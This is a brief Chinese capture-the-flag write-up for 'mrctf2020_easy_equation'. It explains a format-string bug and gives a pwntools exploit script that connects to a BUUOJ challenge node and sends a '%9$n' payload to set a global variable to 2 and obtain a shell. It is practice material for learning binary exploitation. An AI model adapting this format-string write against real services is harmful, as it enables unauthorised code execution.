mrctf2020_easy_equation
查看保护
满足这个if则给一个shell。有一个格式化,用格式化改judge为2即可。
偏移为8,但是实际得调用成9。
调得9即可。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 29467)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
offest = 8
judge = 0x60105C
p1 = b'aa%9$naaa' + p64(judge)
r.sendline(p1)
r.interactive()